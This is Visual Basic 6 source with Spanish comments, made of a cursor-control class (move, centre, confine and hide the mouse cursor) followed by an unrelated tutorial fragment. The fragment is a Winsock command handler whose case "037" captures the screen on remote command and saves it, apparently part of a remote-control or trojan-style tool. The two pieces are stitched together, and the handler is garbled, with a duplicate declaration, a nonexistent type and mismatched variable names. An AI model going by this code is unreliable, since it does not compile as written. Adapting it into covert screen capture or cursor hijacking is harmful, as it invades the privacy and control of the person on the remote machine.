' -- X (Get/Let): Situa el cursor en la posición X
' -- Y (Get/Let): Situa el cursor en la posición Y
' -- Colocar: Pone el cursor en el centro de un control.
' -- Restringir: Restringir el cursor a un área determinada.


Option Explicit
DefLng A-Z

Private Type POINTAPI
        x As Long
        y As Long
End Type
Private Type RECT
    Izquierda As Long
    Arriba As Long
    Derecha As Long
    Abajo As Long
End Type

Private CurVisible As Boolean
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Declare Function ClientToScreen Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long
Private Declare Function ClipCursor Lib "user32" (lpRect As RECT) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

Public Property Get x() As Long

Dim tmpPoint As POINTAPI
Call GetCursorPos(tmpPoint)
x = tmpPoint.x

End Property

Public Property Let x(ByVal vNewValue As Long)

Call SetCursorPos(vNewValue, y)

End Property

Public Property Get y() As Long

Dim tmpPoint As POINTAPI
Call GetCursorPos(tmpPoint)
y = tmpPoint.y

End Property

Public Property Let y(ByVal vNewValue As Long)

Call SetCursorPos(x, vNewValue)

End Property

Public Sub Colocar(ctl As Control)

'envía el cursor al centro del control indicado.

Dim pnt As POINTAPI
Dim xx As Long
Dim yy As Long

pnt.x = pnt.y = 0
'Obtener coordenadas Izquierda-Arriba de la esquina del control
Call ClientToScreen(ctl.hwnd, pnt)
xx = pnt.x + (ctl.Width \ 2)
yy = pnt.y + (ctl.Height \ 2)
Call SetCursorPos(xx, yy)

End Sub

Public Sub Restringir(ToCtl As Object)

Dim tmpRect As RECT
Dim pt As POINTAPI

With ToCtl

 If TypeOf ToCtl Is Form Then
    pt.x = 0
    pt.y = 0
    Call ClientToScreen(.hwnd, pt)
    tmpRect.Izquierda = pt.x
    tmpRect.Arriba = pt.y
    
    pt.x = FrmJail.Width
    pt.y = FrmJail.Height
    Call ClientToScreen(.hwnd, pt)
    tmpRect.Derecha = pt.x
    tmpRect.Abajo = pt.y
    
 ElseIf TypeOf ToCtl Is Screen Then
    tmpRect.Izquierda = 0
    tmpRect.Arriba = 0
    tmpRect.Derecha = (.Width \ Screen.TwipsPerPixelX)
    tmpRect.Abajo = (.Height \ Screen.TwipsPerPixelY)
 Else
    pt.x = 0
    pt.y = 0
    Call ClientToScreen(.hwnd, pt)
    tmpRect.Izquierda = pt.x
    tmpRect.Arriba = pt.y
    pt.x = .Width
    pt.y = .Height
    Call ClientToScreen(.hwnd, pt)
    tmpRect.Abajo = pt.y
    tmpRect.Derecha = pt.x
 End If
 
 Call ClipCursor(tmpRect)

End With

End Sub

Private Sub Class_Initialize()

CurVisible = True

End Sub



Public Property Get Visible() As Boolean

Visible = CurVisible

End Property

Public Property Let Visible(ByVal vNewValue As Boolean)

CurVisible = vNewValue
Call ShowCursor(CurVisible)

End Property

 'Al principio del Sub DataArrival (antes que el case) declaramos .GetData datos (por cierto hay API para el winsock, sino vais a depender de la .ocx)

' Después de agregar la clase cJPEG al proyecto lo podremos declarar con el nombre que queramos (en nuestro caso Captura)

' La clase cJPEG nos da varias opciones sobre cómo guardar el archivo JPEG (darle un vistazo al codigo de la clase, es una movida pero te haces una idea de todo lo que se hace para crear un .jpeg)

Case "037" 'Captura
      Dim Captura As New cJpeg
      Dim Captura As Integer3

            datos = Mid(datos, 4)
                Calidad = Left(datuk, 2)
                Nungorde = Mid(datuk, 3)
                Captura.SetSamplingFrequencies 2, 2, 2, 2, 2, 2 'Esto lo dejamos así, creo que tiene que ver con el contraste y otros parámetros
                Captura.Quality = Calidadi ' Es la calidad entre 0 y 100 con 20-30 la imagen ocupa poco y se pueden leer las letras al capturar pantalla pero la calidad no es buena, 50 está bien. Por encima de los 80 la imagen esta sobrada, la calidad es excelente, aunque como no, ocupa más)
                Captura.SampleScreen 'Es la función que captura la imagen de pantalla
                Captura.SaveFile (Path) 'Guarda la imagen (de la memoria) a la ruta que pongas (en el disco duro) 
            GoTo Reset